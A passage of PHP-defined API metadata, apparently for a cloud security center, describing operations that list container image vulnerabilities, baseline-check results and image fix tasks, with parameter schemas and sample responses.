malicious file. Valid values:'."\n" ."\n" .'* **agentless**: agentless detection'."\n" .'* **image**: image'."\n" .'* **container**: container', 'type' => 'string', 'example' => 'agentless', ], 'TargetType' => [ 'description' => 'The type of the asset on which the vulnerability is detected. Valid values:'."\n" ."\n" .'* **ECS_SNAPSHOT**: snapshot'."\n" .'* **ECS_IMAGE**: image', 'type' => 'string', 'example' => 'ECS_IMAGE', ], 'ScanTime' => [ 'description' => 'The time at which the scan was performed. This value is a UNIX timestamp representing the number of milliseconds that have elapsed since January 1, 1970, 00:00:00 UTC.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], 'RuleTag' => [ 'description' => 'The tag of this vulnerability. Valid values:'."\n" ."\n" .'* **AI**: AI-related components.', 'type' => 'string', 'example' => 'AI', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"VulRecords\\": [\\n {\\n \\"CanUpdate\\": true,\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": 1,\\n \\"ModifyTs\\": 1580808765000,\\n \\"ImageDigest\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012\\",\\n \\"PrimaryId\\": 782661,\\n \\"Tag\\": \\"oval\\",\\n \\"RepoNamespace\\": \\"default\\",\\n \\"RepoName\\": \\"varnish\\",\\n \\"Related\\": \\"CVE-2019-9893\\",\\n \\"FirstTs\\": 1620752053000,\\n \\"LastTs\\": 1631779996000,\\n \\"Necessity\\": \\"asap\\",\\n \\"Uuid\\": \\"0004a32a0305a7f6ab5ff9600d47****\\",\\n \\"AliasName\\": \\"CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read\\",\\n \\"Name\\": \\"debian:10:CVE-2019-9893\\",\\n \\"Layers\\": [\\n \\"[\\\\\\"null\\\\\\"]\\"\\n ],\\n \\"ExtendContentJson\\": {\\n \\"OsRelease\\": \\"10.9\\",\\n \\"Os\\": \\"debian\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"MatchList\\": [\\n \\"[\\\\\\"libstdc++ version less than 8.5.0-4.el8_5\\\\\\"]\\"\\n ],\\n \\"Layer\\": \\"b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587\\",\\n \\"FullVersion\\": \\"2.3.3-4\\",\\n \\"Version\\": \\"2.3.3-4\\",\\n \\"MatchDetail\\": \\"libseccomp2 version less than equals 2.3.3-4\\",\\n \\"Path\\": \\"/usr/lib64/libssh2.so.1\\",\\n \\"Name\\": \\"libseccomp2\\",\\n \\"UpdateCmd\\": \\"apt-get update && apt-get install libseccomp2 --only-upgrade\\"\\n }\\n ]\\n },\\n \\"CanFix\\": \\"yes\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\\\n\\",\\n \\"ClusterName\\": \\"docker-law\\\\n\\",\\n \\"Pod\\": \\"22222-7xsqq\\\\n\\",\\n \\"Namespace\\": \\"test-002\\\\n\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\\\n\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"source-test-obj-XM0Ma\\",\\n \\"MaliciousSource\\": \\"agentless\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"ScanTime\\": 1649814050000,\\n \\"RuleTag\\": \\"AI\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n D6B20156-49B0-5CF0-B14D-7ECA4B50DAAB\\n 10\\n 1\\n \\n true\\n cve\\n 1\\n 1580808765000\\n 8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d507012\\n 782661\\n oval\\n default\\n varnish\\n CVE-2019-9893\\n 1620752053000\\n 1631779996000\\n asap\\n 0004a32a0305a7f6ab5ff9600d47****\\n DSA-2019 libseccomp 安全漏洞\\n debian:10:CVE-2019-9893\\n [\\"null\\"]\\n \\n 10.9\\n debian\\n \\n [\\"libstdc++ version less than 8.5.0-4.el8_5\\"]\\n b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587\\n 2.3.3-4\\n 2.3.3-4\\n libseccomp2 version less than equals 2.3.3-4\\n /usr/lib64/libssh2.so.1\\n libseccomp2\\n apt-get update && apt-get install libseccomp2 --only-upgrade\\n \\n \\n \\n","errorExample":""}]', 'title' => 'DescribeImageVulList', 'description' => 'To query the information about the recently detected image vulnerabilities, call the [PublicCreateImageScanTask](~~411723~~) operation. Wait 1 to 5 minutes until the call is successful and call the DescribeImageVulList operation.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeImageGroupedVulList' => [ 'summary' => 'Queries image vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability that you want to query. Valid values:'."\n" ."\n" .'* **cve**: image system vulnerability'."\n" .'* **sca**: image application vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'string', 'required' => false, 'example' => '1311', ], ], [ 'name' => 'CveId', 'in' => 'query', 'schema' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) ID of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2017-15420', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid-13134124****', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'debian:10:CVE-2019-9893', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'High severity vulnerability that affects org.eclipse.jetty:jetty-server', ], ], [ 'name' => 'PatchId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the patch that is used to fix the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1341512412', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **later**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **nntf**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-qewqrqcsadf****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'qew****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The SHA-256 value of the image digest.'."\n", 'type' => 'string', 'required' => false, 'example' => 'w213412341dfsfasdfafadfasfasf', ], ], [ 'name' => 'ImageLayer', 'in' => 'query', 'schema' => [ 'description' => 'The layer of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1c587', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'IsLatest', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to query the vulnerabilities in the latest images. If you do not specify this parameter, the vulnerabilities in all images are queried. Valid values:'."\n" ."\n" .'* **0**: does not query the vulnerabilities in the latest images.'."\n" .'* **1**: queries the vulnerabilities in the latest images.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c60b77fe62093480db6164a3c2fa5****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array consisting of the types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'RuleTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of this vulnerability. Valid values:'."\n" ."\n" .'* **AI**: AI-related components.', 'type' => 'string', 'required' => false, 'example' => 'AI', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5E244439-UJND-8BF7-26F36E21B9AA', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of image system vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '21', ], 'GroupedVulItems' => [ 'description' => 'An array that consists of the image vulnerabilities.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the vulnerability. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: handled'."\n" .'* **2**: verifying'."\n" .'* **3**: added to the whitelist'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: image system vulnerability'."\n" .'* **sca**: image application vulnerability'."\n", 'type' => 'string', 'example' => 'cve', ], 'NntfCount' => [ 'description' => 'The number of vulnerabilities that have the low priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'GmtLast' => [ 'description' => 'The timestamp when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1611201274000', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1611201274000', ], 'Tags' => [ 'description' => 'The tag of the vulnerability. Valid values:'."\n" ."\n" .'* Restart required'."\n" .'* Remote exploitation'."\n" .'* Exploit exists'."\n" .'* Exploitable'."\n" .'* Privilege escalation'."\n" .'* Code execution'."\n", 'type' => 'string', 'example' => 'EXP exists', ], 'LaterCount' => [ 'description' => 'The number of vulnerabilities that have the medium priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '26', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2017:3075-Important: wget security update', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'debian:9:CVE-2019-3858', ], 'AsapCount' => [ 'description' => 'The number of vulnerabilities that have the high priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '26', ], 'CanFix' => [ 'description' => 'Indicates whether the vulnerability can be fixed in the Security Center console. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**', 'type' => 'string', 'enumValueTitles' => [], 'example' => 'yes', ], 'RuleTag' => [ 'description' => 'The tag of this vulnerability. Valid values:'."\n" ."\n" .'* **AI**: AI-related components.', 'type' => 'string', 'example' => 'AI', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 2,\\n \\"RequestId\\": \\"5E244439-UJND-8BF7-26F36E21B9AA\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 21,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Status\\": 0,\\n \\"Type\\": \\"cve\\",\\n \\"NntfCount\\": 29,\\n \\"GmtLast\\": 1611201274000,\\n \\"LastScanTime\\": 1611201274000,\\n \\"Tags\\": \\"EXP exists\\",\\n \\"LaterCount\\": 26,\\n \\"AliasName\\": \\"RHSA-2017:3075-Important: wget security update\\",\\n \\"Name\\": \\"debian:9:CVE-2019-3858\\",\\n \\"AsapCount\\": 26,\\n \\"CanFix\\": \\"yes\\",\\n \\"RuleTag\\": \\"AI\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2\\n 5E244439-UJND-8BF7-26F36E21B9AA\\n 20\\n 21\\n \\n 0\\n cve\\n 29\\n 1611201274000\\n 1611201274000\\n 代码执行\\n 26\\n DLA-1730-1: libssh2 LTS 安全更新\\n debian:9:CVE-2019-3858\\n 26\\n \\n","errorExample":""}]', 'title' => 'DescribeImageGroupedVulList', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeImageListWithBaselineName' => [ 'summary' => 'Queries the details about images in the results of image baseline checks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92110', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BaselineNameKey', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image baseline.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ak_leak', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search condition for the image baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Unauthorized access', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **BaselineNameAlias**: baseline name'."\n" .'* **BaselineClassAlias**: baseline category'."\n", 'type' => 'string', 'required' => false, 'example' => 'BaselineNameAlias', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-qewqrqcsadf****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The SHA-256 value of the image digest.'."\n", 'type' => 'string', 'required' => false, 'example' => '2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc20a1024011c44b6a8710d6f8b****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'ContainerId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c08d5fc1a329a4b88950a253d082f****', ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'docker-law', ], ], [ 'name' => 'Pod', 'in' => 'query', 'schema' => [ 'description' => 'The pod.'."\n", 'type' => 'string', 'required' => false, 'example' => '22222-7xsqq', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-002', ], ], [ 'name' => 'Image', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image to which the container belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of images on which baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of the images returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'ImageInfos' => [ 'description' => 'The information about the images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the image.'."\n", 'type' => 'object', 'properties' => [ 'MiddleRiskImage' => [ 'description' => 'The number of images on which **medium** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskStatus' => [ 'description' => 'Indicates whether the image is at risk. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'ImageCreate' => [ 'description' => 'The timestamp when the image was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1636962328000', ], 'Digest' => [ 'description' => 'The SHA-256 value of the image digest.'."\n", 'type' => 'string', 'example' => '2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423', ], 'Tag' => [ 'description' => 'The version of the image.'."\n", 'type' => 'string', 'example' => 'v1', ], 'ImageUpdate' => [ 'description' => 'The timestamp when the image was updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1636974116000', ], 'InstanceId' => [ 'description' => 'The ID of the image instance.'."\n", 'type' => 'string', 'example' => 'cri-a595qp31knh9****', ], 'LowRiskImage' => [ 'description' => 'The number of images on which **low** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RepoType' => [ 'description' => 'The type of the image repository.'."\n", 'type' => 'string', 'example' => 'PRIVATE', ], 'RegionId' => [ 'description' => 'The region ID of the image instance.'."\n", 'type' => 'string', 'example' => 'cn-beijing', ], 'Uuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => 'f58681174f944623345379e23b7b****', ], 'ImageSize' => [ 'description' => 'The size of the image.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '157408623', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-1lt6q7167yh6****', ], 'TotalItemCount' => [ 'description' => 'The total number of risk items that are detected on the image by using the baseline.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'HighRiskImage' => [ 'description' => 'The number of images on which **high** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NoRiskImage' => [ 'description' => 'The number of images that do not have baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'scanner', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c08d5fc1a329a4b88950a253d082f1****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'docker-law', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'libssh2', ], 'Pod' => [ 'description' => 'The pod.'."\n", 'type' => 'string', 'example' => '22222-7xsqq', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'test-002', ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****', ], 'Image' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'pre.mongo-196', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '47.96.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'TargetName' => [ 'description' => 'The name of the asset on which the baseline check is performed.'."\n", 'type' => 'string', 'example' => 'spod', ], 'TargetId' => [ 'description' => 'The ID of the asset on which the baseline check is performed.'."\n", 'type' => 'string', 'example' => 'm-bp17m0pc0xprzbwo****', ], 'TargetType' => [ 'description' => 'The type of the asset on which the baseline check is performed. Valid values:'."\n" ."\n" .'* ECS_IMAGE'."\n" .'* ECS_SNAPSHOT'."\n", 'type' => 'string', 'example' => 'ECS_IMAGE', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last baseline check was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649814050000', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1\\n },\\n \\"ImageInfos\\": [\\n {\\n \\"MiddleRiskImage\\": 0,\\n \\"RiskStatus\\": \\"YES\\",\\n \\"ImageCreate\\": 1636962328000,\\n \\"Digest\\": \\"2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423\\",\\n \\"Tag\\": \\"v1\\",\\n \\"ImageUpdate\\": 1636974116000,\\n \\"InstanceId\\": \\"cri-a595qp31knh9****\\",\\n \\"LowRiskImage\\": 0,\\n \\"RepoType\\": \\"PRIVATE\\",\\n \\"RegionId\\": \\"cn-beijing\\",\\n \\"Uuid\\": \\"f58681174f944623345379e23b7b****\\",\\n \\"ImageSize\\": 157408623,\\n \\"RepoId\\": \\"crr-1lt6q7167yh6****\\",\\n \\"TotalItemCount\\": 3,\\n \\"HighRiskImage\\": 1,\\n \\"NoRiskImage\\": 0,\\n \\"ImageId\\": \\"cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****\\",\\n \\"RepoName\\": \\"scanner\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\",\\n \\"ClusterName\\": \\"docker-law\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"Pod\\": \\"22222-7xsqq\\",\\n \\"Namespace\\": \\"test-002\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\",\\n \\"InstanceName\\": \\"pre.mongo-196\\",\\n \\"InternetIp\\": \\"47.96.XX.XX\\",\\n \\"IntranetIp\\": \\"172.16.XX.XX\\",\\n \\"TargetName\\": \\"spod\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"LastScanTime\\": 1649814050000,\\n \\"FirstScanTime\\": 1649814050000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 5B8C2156-2DB9-5A42-99E7-F2ED5AE9EA1F\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 0\\n YES\\n 1636962328000\\n 2e6daffce524ffeae66cccaa90c8fc47de912346dcec295c27395b6d66db6423\\n v1\\n 1636974116000\\n cri-a595qp31knh9****\\n 0\\n PRIVATE\\n cn-beijing\\n f58681174f944623345379e23b7b****\\n 157408623\\n crr-1lt6q7167yh6****\\n 3\\n 1\\n 0\\n cddb5fd33b34a1fabb358d0a19497cdfe362fe624821cb250947af0ea5cc****\\n scanner\\n sas\\n \\n","errorExample":""}]', 'title' => 'DescribeImageListWithBaselineName', ], 'DescribeImageFixTask' => [ 'summary' => 'Queries the tasks that you create to fix image risks.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the task starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1634725571000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the task ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1635575219000', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **1**: The task is running.'."\n" .'* **2**: The task is successful.'."\n" .'* **3**: The task failed.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', 